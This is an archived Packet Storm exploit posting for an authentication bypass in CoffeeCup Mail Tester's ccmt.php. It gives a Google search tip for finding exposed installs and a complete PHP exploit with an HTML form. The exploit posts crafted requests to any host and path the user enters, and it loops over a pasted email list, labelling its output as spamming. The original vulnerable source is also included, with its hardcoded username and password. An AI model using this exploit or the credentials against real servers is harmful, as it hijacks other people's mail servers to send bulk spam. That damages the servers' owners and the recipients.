exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

CoffeeCup Mail Testing Authentication Bypass

CoffeeCup Mail Testing Authentication Bypass
Posted Mar 1, 2012
Authored by Benjamin Oviedo

CoffeeCup Mail Testing suffers from an authentication bypass vulnerability.

tags | exploit, bypass
SHA-256 | 936575818cc5faa393f5d5bb850007bb8ef04e2c89daab2f40fb8ef7d0676f76

CoffeeCup Mail Testing Authentication Bypass

Change Mirror Download
# Exploit Title: CoffeeCup Mail Tester  Bypass Authentication
# Date: [23-feb-2012]
# Author: Benjamin Oviedo aka-- H4CKULT1M4T3 mail: pepe_benja@hotmail.com
# Software Link: http://www.coffeecup.com
# Version: []
# Tested on: [php]
# Product Description:
/**********
CC Mail Tester
Written by: CoffeeCup Software's David R.

A small PHP file that takes an e-mail address and uses the PHP
mail() function to test mailing. Does nothing more than send
the mail if everything is set correct, or return an error if not.
**********/
#Vulnerable file: ccmt.php
#issue reported to: http://www.coffeecup.com

Google to find sites with this file name, just type the word ccmt.php.

vulnerable code!!

The bug lies in the send_mail variable, which is not properly authenticated making it possible to send parameters via post for mail to be sent, so it is not necessary to login with the username and password to send mail.



if($_POST['send_email']) {

// Check for a "to:" value. Exit if not available.
if(!$_POST['to']) {
die("You didn't type an e-mail address to send to! Please <a href=\"javascript:history.go(-1)\">go back</a> and try again.");
}

// Set the recipient.
$to = $_POST['to'];




Exploit code!!



<?php
global $ruta,$ruta2,$to;


function mandalo($to,$message,$subject,$from,$send_email) {
$action=$_POST['action'];
$message=$_POST['message'];
$emaillist=$_POST['emaillist'];
$from=$_POST['from'];
$subject=$_POST['subject'];
$ruta=$_POST['ruta'];
$ruta2=$_POST['ruta2'];
$send_email=$_POST['send_email'];


$server= $ruta;

$POSTDATA="to=".$to."&subject=".$subject."&message=".$message."&from=".$from."&charset=utf-7&send_email=true&submit=Submit";
//echo "EL POTDATA ES:".$POSTDATA;
$headersdata = "POST ". $ruta2 ." HTTP/1.1\r\n";

$headersdata .= "Host: ".$ruta."\r\n";

$headersdata .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 (.NET CLR 3.5.30729)\r\n";

$headersdata .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";

$headersdata .= "Accept-Language: es-ar,es;q=0.8,en-us;q=0.5,en;q=0.3\r\n";

$headersdata .= "Accept-Encoding: gzip,deflate\r\n";

$headersdata .= "Accept-Charset: ISO-8859-1,utf-7;q=0.7,*;q=0.7\r\n";

$headersdata .= "Keep-Alive: 115\r\n";

$headersdata .= "Connection: keep-alive\r\n";

$headersdata .= "Referer: http://".$ruta.$ruta2."\r\n";

$headersdata .= "Content-Type: application/x-www-form-urlencoded\r\n";

$headersdata .= "Content-length: ". Strlen($POSTDATA)."\r\n\r\n";

$headersdata .= $POSTDATA;


$socket = fsockopen($server,80);

fputs($socket,$headersdata);


while(!feof($socket)) {
$resultado="";
$resultado = fgets($socket,124);
$resultado2 = $resultado2.$resultado;
}

fclose($socket);
echo $resultado2;


// echo $POSTDATA;

//echo "headers: ". $headersdata;
}


if($_POST){
$action=$_POST['action'];
$message=$_POST['message'];
$emaillist=$_POST['emaillist'];
$from=$_POST['from'];
$subject=$_POST['subject'];
$to=$_POST['to'];
$message = urlencode($message);
$message = ereg_replace("%5C%22", "%22", $message);
$message = urldecode($message);
$message = stripslashes($message);
$subject = stripslashes($subject);
}


if ($action){


if (!$from && !$subject && !$message && !$emaillist){

print "llena el campo faltante!!";

exit;

}

$allemails = split("\n", $emaillist);
$numemails = count($allemails);

for($x=0; $x<$numemails; $x++){

$to = $allemails[$x];

if ($to){

$to = ereg_replace(" ", "", $to);

$message = ereg_replace("&email&", $to, $message);

$subject = ereg_replace("&email&", $to, $subject);

print "S-p-A-M-e-A-n-d-O a $to.......";

flush();

$ejecutalo=mandalo($to,$message,$subject,$from,$send_email);

print "ok<br>";

flush();


}

}

}


else {
?>

<html>

<head>

<title></title>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">

<style type="text/css">
<!--
.style1 {
font-family: Geneva, Arial, Helvetica, sans-serif;
font-size: 12px;
}
-->
</style>
<style type="text/css">
<!--
.style1 {
font-size: 10px;
font-family: Geneva, Arial, Helvetica, sans-serif;
}
-->
</style>
</head>
<body bgcolor="#FFFFFF" text="#000000">
<p><span class="style1"><font size="3">Exploit Coffecup mail Tester bypass authentication<br>
maded by <strong>h4ckult1m4t3</strong></font></span> </p>


<p>&nbsp; </p>
<form name="form1" method="post" action="" enctype="multipart/form-data">
<br>
Host
<input name="ruta" type="text" value="" size="50">
(ej.www.host.com)
<p> Ruta file
<input name="ruta2" type="text" size="50">
ej(/ruta/ccmt.php).</p>
<table width="100%" border="0">

<tr>

<td width="10%">

<div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">TU

Email:</font></div>

</td>

<td width="18%"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">

<input type="text" name="from" value="" size="30">

</font></td>

<td width="31%">

<div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">TU

Nombre:</font></div>

</td>

<td width="41%"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">

<input type="text" name="realname" value="" size="30">

</font></td>

</tr>

<tr>

<td width="10%">

<div align="right"></div>

</td>

<td width="18%"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">&nbsp;
</font></td>

<td width="31%">

<div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">:</font></div>

</td>

<td width="41%"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">&nbsp;
</font></td>

</tr>

<tr>

<td width="10%">

<div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Asunto:</font></div>

</td>

<td colspan="3"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">

<input type="text" name="subject" value="" size="90">

</font></td>

</tr>

<tr valign="top">

<td colspan="3"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">

<textarea name="message" cols="60" rows="10"><?php print $message; ?></textarea>

<br>
<input type="hidden" name="action" value="send">

<input type="submit" value="Exploit!!">

</font></td>

<td width="41%"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">

<textarea name="emaillist" cols="30" rows="10"><?php print $emaillist; ?></textarea>

</font></td>

</tr>

</table>
<input type="hidden" name="send_email" value="true">
</form>



<?php
}
?>

</body>

</html>








Also here I leave the original file code ccmt.php


<?php

/**********
CC Mail Tester
Written by: CoffeeCup Software's David R.

A small PHP file that takes an e-mail address and uses the PHP
mail() function to test mailing. Does nothing more than send
the mail if everything is set correct, or return an error if not.
**********/

if($_POST['send_email']) {

// Check for a "to:" value. Exit if not available.
if(!$_POST['to']) {
die("You didn't type an e-mail address to send to! Please <a href=\"javascript:history.go(-1)\">go back</a> and try again.");
}

// Set the recipient.
$to = $_POST['to'];

// Set who it's from, if a value was entered.
if($_POST['from']) $from = $_POST['from'];

// Set the subject. If subject was left blank, override with a default.
$subject = $_POST['subject'];
if($_POST['subject'] == "") $subject = "CoffeeCup Test Message";

// Set the message. If the message was left blank, override with a default.
$message = htmlspecialchars(stripslashes($_POST['message']), ENT_NOQUOTES);
if($_POST['message'] == "") $message = "This is a test message from the CoffeeCup Software Mail Tester.";

// Set headers.
$charset = $_POST['charset'];
$headers = "Content-Type: text/plain; charset=".$charset."\r\n";
if($_POST['from']) $headers .= "From: ".$_POST['from']."\r\n";
if($from) $headers .= "Reply-To: ".$from."\r\n";
if($_POST['cc']) $headers .= "CC: ".$_POST['cc']."\r\n";
if($_POST['bcc']) $headers .= "BCC: ".$_POST['bcc']."\r\n";



// Send the e-mail.
$sent = mail($to, $subject, $message, $headers);

if(!$sent) { echo("<h2>Error sending mail.</h2>
<ul>
<li>First, <a href=\"javascript:history.go(-1)\">go back</a> and
make sure you typed a proper e-mail address. Here's what you typed: $to</li>
<li>If you're sure the above address is 100% correct, there's some setting on your web server that is not letting you send mail through PHP in a standard way. Perhaps your host requries a different method? Check with your web host to determine what this might be.</li>"); }
else echo("<h2>Mail appears to have been sent successfully.</h2><p>The
mail appears to have been sent properly! Good job! If you still do not receive this test message, be sure to check your spam or junk folders for it. Secondly, if you don't find the message in your junk mail or spam filters, you may need to contact your web host because it is likely a sendmail or other mail setting that needs to be looked at.</p>");
}
else { ?>

<html>
<head>
<style>
body {
font-family: Arial, Helvetica;
font-size: 12px;
width: 750px;
}

input, textarea {
border: 1px solid #9fbfff;
background-color: #eeeeee;
}

a:link {
text-decoration: none;
}

a:visited {
text-decoration: none;
}

a:hover {
text-decoration: underline;
}

.required {
color: green;
font-weight: bold;
}
</style>
<title>CCMT - CoffeeCup Mail Tester</title>
</head>
<body>
<?
if($_POST['authname']) {
$authname = $_POST['authname'];
$password = $_POST['password'];

if($authname == "freshsoftware" && $password == "20test08") {
?>

<h1>CoffeeCup Mail Tester</h1>

<p>This test mailer was created by <a href="http://www.coffeecup.com/">CoffeeCup Software</a> to test a Unix/Linux server's mailing capabilities.</p>

<p>Simply fill out an address below. <strong style="color: green">Only a To address is required.</strong></p>

<h2>Send the test</h2>

<form name="mailtester" method="POST" action="ccmt.php">
<table border="0" cellpadding="4" cellspacing="4">

<tr>
<td class="required" valign="top">To:</td>
<td><input type="text" name="to" size="70" /></td>
</tr>

<tr>
<td valign="top">CC:</td>
<td valign="top"><input type="text" name="cc" size="70" /></td>
</tr>

<tr>
<td valign="top">BCC:</td>
<td valign="top"><input type="text" name="bcc" size="70" /></td>
</tr>

<tr>
<td valign="top">Subject:</td>
<td valign="top"><input type="text" name="subject" size="70" /></td>
</tr>

<tr>
<td valign="top">Body:</td>
<td valign="top"><textarea name="message" rows="15" cols="69" /></textarea></td>
</tr>

<tr>
<td valign="top">From:</td>
<td valign="top"><input type="text" name="from" size="70" /></td>
</tr>

<tr>
<td valign="top">Charset:</td>
<td valign="top">
<select name="charset">
<option value="utf-8">utf-8 (Standard 8-bit)</option>
<option value="iso-8859-1">iso-8859-1 (West European)</option>
<option value="iso-8859-8">iso-8859-8 (Hebrew/Yiddish)</option>
<option value="iso-8859-9">iso-8859-9 (Turkish)</option>
<option value="iso-8859-10">iso-8859-10 (Nordic)</option>
</select></td>
</td>
</tr>
<tr>
<td></td>
<td valign="top"><input type="submit" value="Submit" /></td>
</tr>
</table>
<input type="hidden" name="send_email" value="true">
</form>

</body>
</html>
<?php
}
else { echo "Invalid username/password."; }
}
else { ?>

<form name="mailtesterauth" method="POST" action="ccmt.php">
<p>Who are you?<br />
<input type="text" name="authname" /></p>

<p>Prove it.<br />
<input type="password" name="password" /></p>

<p><input type="submit" value="Let me in." /></p>
</form>
</body>
</html>
<?
}
}
?>








Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close